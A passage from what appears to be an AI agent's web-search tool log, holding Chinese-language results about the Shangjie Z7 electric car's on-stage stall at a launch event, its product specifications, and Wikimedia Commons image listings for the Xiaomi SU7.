網友表示,「電車發布會上好像是首例趴窩。」「尚界就這麼直愣愣趴窩在中間……裡面司機抓耳撓腮打視頻,太幽默了。」「這可是新車發布會呀,這車是咋回事。」「發布會上尚界z7壞台上現場視頻來了,大家都在問怎麼回事。」\n\n「在鴻蒙智行發布會介紹尚界Z7後,車輛未與其它展車一同駛離舞台。現場視頻顯示司機在車內反覆操作中控屏幕、嘗試掛擋未果,導致車輛滯留至後續問界M6發布環節。直播間因此關閉評論區功能,觀眾直呼『尚界壞台上了』。」\n\n「尚界趴窩了開不下去,以致於人家賽力斯總裁講問界都停在上面。」「趴窩不至於,應該是車鑰匙認證出了問題,原本流程應該是開下去的,要不然賽力斯總裁上場,台子上停輛上汽就很不科學。」「講問界了,尚界還在那兒幹嘛?」\n\n「尚界Z7趴窩到底是流程設計還是直播事故啊,當時我看到尚界Z7停在台上無法開走,就感覺這一段絕對會引發熱議,我只能說當你壓力大時看看這個工作人員。」\n\n「非常尷尬的現場。鴻蒙智行發布會現場,都講到問界了,尚界Z7還是遲遲不下場,疑似趴窩。不過,主辦方後續解釋為了同時展示四款新車。」\n\n有網友反駁,「問題是你不通知司機嗎,那司機來來回回反反覆覆下車是幹嘛的。」「駕駛員不下車檢查的話,可能還能圓回去。」\n\n數碼博主「筱磷」發博文表示,「尚界Z7發布會現場『趴窩』這事,表面看是現場突發狀況,換個角度看,更像是流量高峰裡的一次『信任考驗』。\n\n「現場情況一邊是視頻顯示司機反覆操作中控、掛擋無果,車輛滯留舞台C位,影響後續展示;一邊是官方稱是為了同時展示四款新車的預設安排,司機沒收到指令鬧了烏龍,粉絲也力證是設計環節。\n\n「但年輕人買20多萬的車,最看重品控與安全。這事不管真假,都容易放大大家對新車可靠性的擔憂,尤其和肖戰粉絲的熱情下單形成反差。官方後續用四車同台離場、發碰撞測試視頻來對沖,本質是想穩住輿論。", "score": 0.6685563, "published_date": ""}, {"index": 7, "title": "尚界Z7", "url": "https://baike.baidu.com/item/%E5%B0%9A%E7%95%8CZ7/67229569", "content": "06:42\n\n灵活好开又智能 体验尚界Z7动态驾驶篇\n\n03:29\n\n尚界Z7 重新定义科技轿跑\n\n03:24\n\n华为鸿蒙智行尚界Z7预售价22.98万起,对标小米SU7\n\n08:19\n\n尚界Z7双车重磅发布,鸿蒙智行解锁新设计,年轻座驾够潮吗?#尚界Z7四维屏情绪价值拉满# #尚界Z7双箭齐发#\n\n01:37\n\n尚界Z7全路况试驾:“最好开”的鸿蒙智行车型诞生?\n\n06:06\n\n王姨带你看车圈--雨天深度动态试驾尚界Z7 从静态心动到动态封神 这台纯电轿跑太好开\n\n02:14\n\n超详细解读尚界Z7,一次性聊完优缺点#尚界Z7#\n\n14:36\n\n尚界新车Z7曝光,运动型轿车主打年轻市场?\n\n04:17\n\nImage 9: 订阅更新\n\n订阅更新\n\n2 有用+1\n\n1\n\n华为全场景智慧生活直播中,余承东正式曝光尚界Z7拥有905km续航实力 。\n\n尚界Z7 冬测\n\n\n\nbschoolk\n\nImage 21Image 22\n\n\n\n王远江0857\n\nImage 23Image 24\n\n\n\n望星空X探银河\n\nImage 25Image 26\n\n\n\n至帅硕心\n\nImage 27Image 28\n\n\n\n1 发布历程2 配置参数3 外观与内饰4 车型版本与价格5 产品特点与定位6 试驾体验\n\n###### 相关搜索\n\n 罗茨风机厂家排名\n 宝马x5汽车报价\n 汽车拉缸修理要多少钱\n 华为什么手机最好用\n 小学三年级奥数题\n 奢侈品名牌包包回收\n 数码大师手机版下载\n\nImage 29[](\n\nImage 30: 图片\n\n尚界Z7\n\n选择朗读音色\n\nImage 31: 成熟女声\n\n成熟女声\n\nImage 32: 成熟男声\n\n成熟男声\n\nImage 33: 磁性男声\n\n磁性男声\n\nImage 34: 年轻女声\n\n年轻女声\n\nImage 35: 情感男声 [...] 网页新闻贴吧知道网盘图片视频地图文库资讯采购百科\n\n百度首页\n\n登录\n\n注册\n\nImage 1: 百度百科\n\n进入词条 全站搜索国际版帮助\n\nImage 2: 百度百科\n\n进入词条 全站搜索国际版帮助\n\n播报 编辑讨论 3收藏 赞\n\n登录\n\n首页\n\n历史上的今天\n\n百科冷知识\n\n图解百科\n\n秒懂百科\n\n懂啦\n\n秒懂本尊答\n\n秒懂大师说\n\n秒懂看瓦特\n\n秒懂五千年\n\n秒懂全视界\n\n特色百科\n\n动态百科\n\n数字博物馆\n\n非遗百科\n\n艺术百科\n\n科学百科\n\n知识专题\n\n史记2025·科学100词\n\n观千年·见今朝\n\n中国航天\n\n食品百科\n\n云游博物馆\n\n数字文物守护计划\n\n加入百科\n\n新人成长\n\n进阶成长\n\n任务广场\n\n百科团队\n\n校园团\n\n分类达人团\n\n热词团\n\n繁星团\n\n蝌蚪团\n\n权威合作\n\n合作模式\n\n常见问题\n\n联系方式\n\n个人中心\n\n# 尚界Z7\n\n播报 编辑讨论 3上传视频\n\n中文\n\n鸿蒙智行尚界首款轿跑新车\n\nImage 3\n\nImage 4\n\n尚界Z7 8万小定+肖战代言能否碾压?#尚界Z7##2026北京车展#\n\n01:10\n\nVideo 1\n\nImage 5\n\nImage 6\n\n尚界 Z7 实车我看完了!鸿蒙智行第一款轿跑 11 分钟超详细剧透!\n\n11:45\n\nImage 7\n\nImage 8\n\n比男朋友还懂你~是什么样的体验#尚界Z7动态评测#鸿蒙智行春季新品发布会#尚界Z7最美科技轿跑#尚界Z7T#尚界Z7\n\n05:47\n\n尚界Z7体验分享,真的太像了\n\n08:34\n\n尚界 Z7|双箭齐发,精彩回顾\n\n01:36\n\n华为技术加持 颜值性能双在线的纯电轿车 尚界Z7配置怎么选?\n\n05:45\n\n鸿蒙智行尚界 Z7 实用与性能双在线,智驾讲武德\n\n06:42\n\n灵活好开又智能 体验尚界Z7动态驾驶篇\n\n03:29\n\n尚界Z7 重新定义科技轿跑\n\n03:24 [...] Image 33: 磁性男声\n\n磁性男声\n\nImage 34: 年轻女声\n\n年轻女声\n\nImage 35: 情感男声\n\n情感男声\n\n0\n\n0\n\n2x\n\n1.5x\n\n1.25x\n\n1x\n\n0.75x\n\n0.5x\n\nAudio 1Audio 2\n\n分享到微信朋友圈\n\n打开微信“扫一扫”即可将网页分享至朋友圈\n\n新手上路\n\n成长任务编辑入门编辑规则本人编辑Image 36: new\n\n我有疑问\n\n内容质疑在线客服官方贴吧意见反馈\n\n投诉建议\n\n举报不良信息未通过词条申诉投诉侵权信息封禁查询与解封\n\n©2026 Baidu使用百度前必读|百科协议|隐私政策|百度百科合作平台|京ICP证030173号Image 37\n\n京公网安备11000002000001号\n\n订阅词条 0人已订阅\n\n可以前往 个人中心-订阅词条 查看所有已订阅词条\n\n词条内容更新\n\n当词条有内容变更时,将通过短信和百科站内信通知您\n\n词条热门讨论\n\n当词条有热门讨论时,将通过短信和百科站内信通知您\n\n确认订阅\n\n是否取消订阅更新?\n\n取消订阅后将无法收到当前词条的内容或讨论的更新\n\n取消订阅\n\n再想想", "score": 0.6445166, "published_date": ""}, {"index": 8, "title": "尚界Z7 售价21.98 万起满配上市", "url": "https://www.zhihu.com/question/2030295130230477843", "content": "4 月 22 日鸿蒙智行春季新品发布会上,尚界 Z7、Z7T 正式上市,售价分别为 21.98 万起和 22.98 万起,强势引爆全网热度,吸", "score": 0.6415577, "published_date": ""}, {"index": 9, "title": "尚界Z7 | Z7T - 鸿蒙智行官网", "url": "https://hima.auto/shangjie/z7-z7t", "content": "# 尚界 Z7 Z7T\n\n 尚界 Z7 及 Z7T KV\n\n\\广告创意 | 车型信息(外观、内饰、色彩)和功能界面,可能与最⁠终量产车型存在差异,请以实际销售车型为⁠准。\n\n俯身向前,用速度开路。 \n 双面姿态,亮内在锋芒。\n\n不羁美学,猎装,猎风,猎未知之境。 \n 风尚轿跑,无拘,无畏,抵无边自由。\n\n问界 M8 \n\n## 型色并茂, 独你闪耀。\n\n问界 M8 \n\n## 自在大空间, 娱乐由我。\n\n问界 M8 \n\n## 鸿蒙 ALPS 健康座舱, 沁心怡人。\n\n问界 M8 \n\n## 华为途灵平台, 开出坦途。\n\n问界 M8 \n\n## 华为乾崑智驾® ADS 4.1, 安全至尚1。\n\n0102030405 \n05\n\n## 开出去 跑成风景\n\n 紫粉色尚界 Z7 与 新绿色尚界 Z7T 侧视图,展示了车独特的设计造型 \n\n全新运动美学,低趴宽体。Z7,溜背线条顺⁠势而下,小鸭尾利落上扬,美感浑然一⁠体。 \nZ7T,真猎装,敢去野,以俯身之⁠姿,冲出高调气场,跑跑停停,都是风⁠景。\n\n5036 毫米 长度\n\n1976 毫米 宽度\n\n1465 毫米 高度\n\n3000 毫米 轴距\n\n## 敢靓,敢不一样\n\n 电光紫粉色尚界 Z7 电光紫粉色尚界 Z7\n\n 晚山新绿色尚界 Z7T 晚山新绿色尚界 Z7T\n\n \n\n \n\n电光紫粉2 掠过街角,甜且张扬。\n\n晚山新绿2 穿行山间,笃定之姿。\n\n更多颜色\n\n琥珀金绿色尚界 Z7T\n\n清晖蓝色尚界 Z7T\n\n超凡粉色尚界 Z7\n\n幻影紫色尚界 Z7T\n\n杜维埃蓝色尚界 Z7T\n\n流光银色尚界 Z7\n\n陶瓷白色尚界 Z7\n\n鎏金黑色尚界 Z7\n\n琥珀金绿\n\n清晖蓝\n\n超凡粉\n\n幻影紫\n\n杜维埃蓝\n\n流光银\n\n陶瓷白\n\n鎏金黑 [...] ### 全场景互联\n\n### HUAWEI SOUND\n\n可左右旋转、前后伸缩,主驾副驾,切⁠换视角刚刚⁠好。\n\n前后排屏幕联动,同享快乐;后排接入 MagLink Pad9,空调、座椅随心调; \n下⁠车⁠时,侧方路况屏上一目了然,安全多一分。\n\n全车 21 个标准扬声器单元,搭配 4 个天⁠空音单元,人声透,低音劲, \n音乐四⁠面⁠袭⁠来,随时澎湃开⁠场⁠9。\n\n## 上车, 拥抱新呼吸\n\n \n\n### 鸿蒙 ALPS 健康座舱\n\n座舱采用 MOFs 可吸附降解材料,全方位吸附有害物质, \n车内清爽怡⁠人。\n\n用户坐在尚界 Z7-Z7T 主驾中吹空调,展示了车的全新水离子空调 \n\n### 全新升级水离子空调\n\n纳米级水离子,温柔锁水保湿,呼吸间满是清⁠新。\n\n用户坐在尚界 Z7-Z7T 主驾中喝饮料,展示了车的车载风冷冰箱 \n\n### 6.5 L 车载风冷冰箱10\n\n不易凝露结霜,日常打理更省心。速热速冷,夏日冰饮, \n冬天温奶两相⁠宜。\n\n## 快人一步 更悦人一路\n\n 行驶中的尚界 Z7T,展示了车搭载华为途灵平台 \n\n全系搭载华为途灵平台,旅途尽兴释放,一路开,一路稳。\n\n## 不晃不颠,坐享舒服\n\n全系标配前双叉臂与后五连杆独立悬架,配合连续可变阻尼减振器,稳妥应对各种复杂路面。遇坑洼不颠,过弯不晃。坐进去,一直舒⁠服。\n\n 尚界 Z7 内部视图,展示了车的双叉臂与后五连杆独立悬架 \n\n\\图示配置为尚界 Z7 Ultra 版。\n\n## 全力以“速”\n\n行驶中的尚界 Z7,展示了车的零百加速\n\n行驶制动的尚界 Z7,展示了车的百零制动\n\n在水中行驶的尚界 Z7T,展示了车的涉水深度\n\n### 零百加速 3.44 s11\n\n### 百零制动 33.1 m11\n\n### 应急涉水深度 500 mm12\n\n劲速起步,快意当⁠先。 [...] 尚界 Z7 透视图,展示了车丰富的收纳空间\n\n尚界 Z7 的前备箱空间展示\n\n尚界 Z7T 的后备箱空间展示\n\n### 灵感橱窗\n\n专属 IP 手办台,为个性留出一方天地,放⁠手⁠办、摆潮玩,你的座舱展柜,全由你做⁠主。\n\n### 零重力座椅\n\n主副驾双零重力座椅5,支持通风加热按摩。采⁠用超柔零压减震海绵,舒适支撑,坐⁠躺间压力清⁠零。\n\n### 二排空间\n\n超大膝部空间,乘坐开阔舒展。座椅灵活放⁠倒,后⁠排秒变舒适大床,随需切换休憩模式,找回好⁠状⁠态。\n\n### 储物空间\n\n全车 41 处收纳点位,可吸可挂可接电6。磁吸点⁠位随手吸附,螺纹接口稳固挂⁠载,设备随取随⁠充;多处挂钩,奶茶、包包随手放,尾门挂⁠扣秒⁠变移动影院,出⁠行氛围感拉⁠满。\n\n### 前备箱\n\n大容量前备箱,足球、郊游装备轻松收纳。配⁠备 6 个挂钩,可搭配网兜,物品收⁠纳更有序。内⁠部排水设计,空间清洗更便⁠捷。\n\n### 后备箱\n\n559 L / 648 L 超大容量7,滑雪、冲浪、露营装⁠备,轻松容纳。支持脚踢开启、按⁠压 logo 解⁠锁,操作超简⁠单。\n\n010203040506 \n06\n\n## 偏爱,何止一面\n\n尚界 Z7-Z7T 黄色内饰\n\n尚界 Z7-Z7T 杏色内饰\n\n尚界 Z7-Z7T 紫色内饰\n\n尚界 Z7-Z7T 黑色内饰\n\n尚界 Z7-Z7T 红色内饰\n\n速影黄8\n\n缥云杏\n\n凝夜紫\n\n闪金黑\n\n沁夜红\n\n \n\n \n\n \n\n \n\n \n\n## 屏幕一转, 座舱更好玩\n\n \n\n \n\n尚界 Z7 全景立体声场,展示了车内搭载华为悦彰\n\n### 随动屏\n\n### 全场景互联\n\n### HUAWEI SOUND\n\n可左右旋转、前后伸缩,主驾副驾,切⁠换视角刚刚⁠好。", "score": 0.63804686, "published_date": ""}, {"index": 10, "title": "轿车猎装二选一!尚界Z7 是有点好玩在身上的", "url": "https://www.youtube.com/watch?v=Xi5Q90G0U7E", "content": "# 轿车猎装二选一!尚界 Z7 是有点好玩在身上的\n## 42HOW\n12100 subscribers\n10 likes\n\n### Description\n787 views\nPosted: 3 Apr 2026\n猎装版和轿车版本同步上市见过吗?尚界 Z7 和尚界 Z7T 这波就一起来了。\n\n1 comments\n### Transcript:", "score": 0.5634506, "published_date": ""}], "total_results": 10}}, "tool_call_id": "tool_Bq5lX4JqU35DlGIHxDhnFIWI", "name": "web_search"}, {"role": "tool", "content": "{\"success\": true, \"summary\": \"🔍 搜索查询: Xiaomi SU7 site:commons.wikimedia.org\\n📅 搜索时间: 2026-08-23T13:33:37.880482\\n🎯 过滤条件: Topic: general\\n\\n📊 搜索结果:\\n\\n1. Category:Xiaomi SU7 - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/Category:Xiaomi_SU7?uselang=sq\\n 📄 Wikimedia Commons\\n\\n# Category:Xiaomi SU7\\n\\nXiaomi SU7\\n\\n| | |\\n --- |\\n| Electric full-size sport sedan, first car made by Xiaomi imazh image of interior | |\\n| Ngarko media | |\\n| Wikipedia | |\\n| Insta...\\n\\n2. File:(CHN-Shanghai) Private Xiaomi SU7 沪A7WE106 2024-11-24.jpg - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/File:(CHN-Shanghai)_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg\\n 📄 # File:(CHN-Shanghai) Private Xiaomi SU7 沪A7WE106 2024-11-24.jpg. * File_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg \\\"View the file page [c]\\\"). * Discussion_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_...\\n\\n3. Category:Xiaomi SU7 - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/Category:Xiaomi_SU7\\n 📄 Xiaomi SU7\\n\\n| Electric full-size sport sedan, first car made by Xiaomi image image of interior |\\n| Upload media |\\n| Wikipedia |\\n| Instance of | car model |\\n| Subclass of | electric car battery el...\\n\\n4. File:20241231 Xiaomi SU7 on display at Xiaomi Store, Grand Emporium.jpg - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/File:20241231_Xiaomi_SU7_on_display_at_Xiaomi_Store,_Grand_Emporium.jpg\\n 📄 | | |\\n --- |\\n| Camera manufacturer | Apple |\\n| Camera model | iPhone 15 Pro Max |\\n| Exposure time | 1/244 sec (0.0040983606557377) |\\n| F-number | f/1.7799999713881 |\\n| ISO speed rating | 64 |\\n| Date...\\n\\n5. File:Xiaomi SU7 purple front view (March 21, 2025).jpg - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg\\n 📄 Wikimedia Commons\\n\\n## Contents\\n\\n# File:Xiaomi SU7 purple front view (March 21, 2025).jpg\\n\\nFile:Xiaomi SU7 purple front view (March 21, 2025).jpg\\n\\n## Captions\\n\\n### Captions\\n\\n## Summary\\n\\n| | |\\n --- |\\n...\\n\\n6. File:Xiaomi SU7 Max.jpg - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Max.jpg\\n 📄 Title: File:Xiaomi SU7 Max.jpg - Wikimedia Commons\\n# File:Xiaomi SU7 Max.jpg. * File usage on other wikis. File:Xiaomi SU7 Max.jpg. Original file (2,626 × 2,839 pixels, file size: 1.72 MB, MIME type: ...\\n\\n7. File:Interior of of Xiaomi SU7 Max-20240413.jpg - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/File:Interior_of_of_Xiaomi_SU7_Max-20240413.jpg\\n 📄 Wikimedia Commons\\n\\n## Contents\\n\\n# File:Interior of of Xiaomi SU7 Max-20240413.jpg\\n\\nFile:Interior of of Xiaomi SU7 Max-20240413.jpg\\n\\n## Captions\\n\\n### Captions\\n\\n## Summary\\n\\n| | |\\n --- |\\n| DescriptionI...\\n\\n8. File:Xiaomi SU7 Ultra 0001 China 2025-03-28.jpg - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Ultra_0001_China_2025-03-28.jpg\\n 📄 Original file (1,300 × 741 pixels, file size: 534 KB, MIME type: image/jpeg)\\n\\nFile information\\n\\nStructured data\\n\\n## Captions\\n\\n### Captions\\n\\nXiaomi SU7 Ultra photographed in Chengdu, Sichuan province, ...\\n\\n9. File:20241007 Xiaomi SU7 Max.jpg - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/File:20241007_Xiaomi_SU7_Max.jpg\\n 📄 Wikimedia Commons\\n\\n## Contents\\n\\n# File:20241007 Xiaomi SU7 Max.jpg\\n\\nFile:20241007 Xiaomi SU7 Max.jpg\\n\\n## Captions\\n\\n### Captions\\n\\n## Summary\\n\\n| | |\\n --- |\\n| Description20241007 Xiaomi SU7 Max.jpg | E...\\n\\n10. File:Xiaomi SU7 Ultra rear view (April 7, 2025).jpg - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Ultra_rear_view_(April_7,_2025).jpg\\n 📄 | APEX shutter speed | 6.9220898258478 |\\n| APEX aperture | 1.6637544825625 |\\n| APEX brightness | 4.2792810917748 |\\n| APEX exposure bias | 0 |\\n| Metering mode | Pattern |\\n| Flash | Flash did not fire, ...\", \"query\": \"Xiaomi SU7\", \"filters\": {\"topic\": \"general\"}, \"total_results\": 10, \"results\": [{\"index\": 1, \"title\": \"Category:Xiaomi SU7 - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/Category:Xiaomi_SU7?uselang=sq\"}, {\"index\": 2, \"title\": \"File:(CHN-Shanghai) Private Xiaomi SU7 沪A7WE106 2024-11-24.jpg - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/File:(CHN-Shanghai)_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg\"}, {\"index\": 3, \"title\": \"Category:Xiaomi SU7 - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/Category:Xiaomi_SU7\"}, {\"index\": 4, \"title\": \"File:20241231 Xiaomi SU7 on display at Xiaomi Store, Grand Emporium.jpg - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/File:20241231_Xiaomi_SU7_on_display_at_Xiaomi_Store,_Grand_Emporium.jpg\"}, {\"index\": 5, \"title\": \"File:Xiaomi SU7 purple front view (March 21, 2025).jpg - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg\"}, {\"index\": 6, \"title\": \"File:Xiaomi SU7 Max.jpg - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Max.jpg\"}, {\"index\": 7, \"title\": \"File:Interior of of Xiaomi SU7 Max-20240413.jpg - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/File:Interior_of_of_Xiaomi_SU7_Max-20240413.jpg\"}, {\"index\": 8, \"title\": \"File:Xiaomi SU7 Ultra 0001 China 2025-03-28.jpg - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Ultra_0001_China_2025-03-28.jpg\"}, {\"index\": 9, \"title\": \"File:20241007 Xiaomi SU7 Max.jpg - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/File:20241007_Xiaomi_SU7_Max.jpg\"}, {\"index\": 10, \"title\": \"File:Xiaomi SU7 Ultra rear view (April 7, 2025).jpg - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Ultra_rear_view_(April_7,_2025).jpg\"}]}", "timestamp": "2026-08-23T13:33:37.976298", "message_id": "msg_be1650f1b6b9429e94a442605c9bb704", "metadata": {"tool_payload": {"success": true, "summary": "🔍 搜索查询: Xiaomi SU7 site:commons.wikimedia.org\n📅 搜索时间: 2026-08-23T13:33:37.880482\n🎯 过滤条件: Topic: general\n\n📊 搜索结果:\n\n1. Category:Xiaomi SU7 - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/Category:Xiaomi_SU7?uselang=sq\n 📄 Wikimedia Commons\n\n# Category:Xiaomi SU7\n\nXiaomi SU7\n\n| | |\n --- |\n| Electric full-size sport sedan, first car made by Xiaomi imazh image of interior | |\n| Ngarko media | |\n| Wikipedia | |\n| Insta...\n\n2. File:(CHN-Shanghai) Private Xiaomi SU7 沪A7WE106 2024-11-24.jpg - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/File:(CHN-Shanghai)_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg\n 📄 # File:(CHN-Shanghai) Private Xiaomi SU7 沪A7WE106 2024-11-24.jpg. * File_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg \"View the file page [c]\"). * Discussion_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_...\n\n3. Category:Xiaomi SU7 - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/Category:Xiaomi_SU7\n 📄 Xiaomi SU7\n\n| Electric full-size sport sedan, first car made by Xiaomi image image of interior |\n| Upload media |\n| Wikipedia |\n| Instance of | car model |\n| Subclass of | electric car battery el...\n\n4. File:20241231 Xiaomi SU7 on display at Xiaomi Store, Grand Emporium.jpg - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/File:20241231_Xiaomi_SU7_on_display_at_Xiaomi_Store,_Grand_Emporium.jpg\n 📄 | | |\n --- |\n| Camera manufacturer | Apple |\n| Camera model | iPhone 15 Pro Max |\n| Exposure time | 1/244 sec (0.0040983606557377) |\n| F-number | f/1.7799999713881 |\n| ISO speed rating | 64 |\n| Date...\n\n5. File:Xiaomi SU7 purple front view (March 21, 2025).jpg - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg\n 📄 Wikimedia Commons\n\n## Contents\n\n# File:Xiaomi SU7 purple front view (March 21, 2025).jpg\n\nFile:Xiaomi SU7 purple front view (March 21, 2025).jpg\n\n## Captions\n\n### Captions\n\n## Summary\n\n| | |\n --- |\n...\n\n6. File:Xiaomi SU7 Max.jpg - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Max.jpg\n 📄 Title: File:Xiaomi SU7 Max.jpg - Wikimedia Commons\n# File:Xiaomi SU7 Max.jpg. * File usage on other wikis. File:Xiaomi SU7 Max.jpg. Original file (2,626 × 2,839 pixels, file size: 1.72 MB, MIME type: ...\n\n7. File:Interior of of Xiaomi SU7 Max-20240413.jpg - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/File:Interior_of_of_Xiaomi_SU7_Max-20240413.jpg\n 📄 Wikimedia Commons\n\n## Contents\n\n# File:Interior of of Xiaomi SU7 Max-20240413.jpg\n\nFile:Interior of of Xiaomi SU7 Max-20240413.jpg\n\n## Captions\n\n### Captions\n\n## Summary\n\n| | |\n --- |\n| DescriptionI...\n\n8. File:Xiaomi SU7 Ultra 0001 China 2025-03-28.jpg - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Ultra_0001_China_2025-03-28.jpg\n 📄 Original file (1,300 × 741 pixels, file size: 534 KB, MIME type: image/jpeg)\n\nFile information\n\nStructured data\n\n## Captions\n\n### Captions\n\nXiaomi SU7 Ultra photographed in Chengdu, Sichuan province, ...\n\n9. File:20241007 Xiaomi SU7 Max.jpg - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/File:20241007_Xiaomi_SU7_Max.jpg\n 📄 Wikimedia Commons\n\n## Contents\n\n# File:20241007 Xiaomi SU7 Max.jpg\n\nFile:20241007 Xiaomi SU7 Max.jpg\n\n## Captions\n\n### Captions\n\n## Summary\n\n| | |\n --- |\n| Description20241007 Xiaomi SU7 Max.jpg | E...\n\n10. File:Xiaomi SU7 Ultra rear view (April 7, 2025).jpg - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Ultra_rear_view_(April_7,_2025).jpg\n 📄 | APEX shutter speed | 6.9220898258478 |\n| APEX aperture | 1.6637544825625 |\n| APEX brightness | 4.2792810917748 |\n| APEX exposure bias | 0 |\n| Metering mode | Pattern |\n| Flash | Flash did not fire, ...", "filters": {"topic": "general"}, "query": "Xiaomi SU7", "results": [{"index": 1, "title": "Category:Xiaomi SU7 - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/Category:Xiaomi_SU7?uselang=sq", "content": "Wikimedia Commons\n\n# Category:Xiaomi SU7\n\nXiaomi SU7\n\n| | |\n --- |\n| Electric full-size sport sedan, first car made by Xiaomi imazh image of interior | |\n| Ngarko media | |\n| Wikipedia | |\n| Instancë e | car model |\n| Nënklasë e | makinë elektrike battery electric vehicle |\n| Prodhues | Xiaomi Auto |\n| Motor | Elektromotori |\n| Gjerësia | 1.963 mm |\n| Gjatësi | 4.997 mm |\n| Lartësia | 1.455 mm |\n| Wheelbase | 3.000 mm |\n| webfaqja zyrtare | |\n| | Authority file | | Wikidata Q123470261 | | Reasonator Scholia Wikidocumentaries PetScan statistika WikiMap Locator tool KML file Search depicted | | | |\n| Edit infobox data on Wikidata | |\n\n| Authority file |", "score": 0.85008353, "published_date": ""}, {"index": 2, "title": "File:(CHN-Shanghai) Private Xiaomi SU7 沪A7WE106 2024-11-24.jpg - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/File:(CHN-Shanghai)_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg", "content": "# File:(CHN-Shanghai) Private Xiaomi SU7 沪A7WE106 2024-11-24.jpg. * File_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg \"View the file page [c]\"). * Discussion_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg&action=edit&redlink=1 \"Discussion about the content page (page does not exist) [t]\"). * Read_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg). * Edit_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg&action=edit \"Edit this page [e]\"). * View history_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg&action=history \"Past revisions of this page [h]\"). * Read_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg). * Edit_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg&action=edit \"Edit this page [e]\"). * View history_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg&action=history). * What links here_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg \"A list of all wiki pages that link here [j]\"). * Related changes_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg \"Recent changes in pages linked from this page [k]\"). * Permanent link_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg&oldid=1043439714 \"Permanent link to this revision of this page\"). * Page information_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg&action=info \"More information about this page\"). From Wikimedia Commons, the free media repository. * File usage on other wikis. Original file Private Xiaomi SU7 沪A7WE106 2024-11-24.jpg\") (5,358 × 3,014 pixels, file size: 3.56 MB, MIME type: image/jpeg). 沪A7WE106 (fictionalized license plate), a privately operated Xiaomi SU7. Photo taken on 2024/11/24. [edit_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg&action=edit§ion=1 \"Edit section: Summary\")]. [edit_Private_Xiaomi_SU7_%E6%B2%AAA7WE106_2024-11-24.jpg&action=edit§ion=2 \"Edit section: Licensing\")]. I, the copyright holder of this work, hereby publish it under the following license:. This file is licensed under the Creative Commons Attribution 4.0 International license. * **attribution** – You must give appropriate credit, provide a link to the license, and indicate if changes were made. BY 4.0 Creative Commons Attribution 4.0 truetrue. ## File history. Click on a date/time to view the file as it appeared at that time. You cannot overwrite this file. ## File usage on Commons. The following 4 pages use this file:. * Commons:Quality images/Subject/Objects/Transport and Vehicles/Automobiles. * Commons:Quality images candidates/Archives April 09 2025. ## File usage on other wikis. The following other wikis use this file:. This file contains additional information such as Exif metadata which may have been added by the digital camera, scanner, or software program used to create or digitize it. If the file has been modified from its original state, some details such as the timestamp may not fully reflect those of the original file. ### Items portrayed in this file. #### Xiaomi SU7. #### copyrighted. #### copyright license. #### Creative 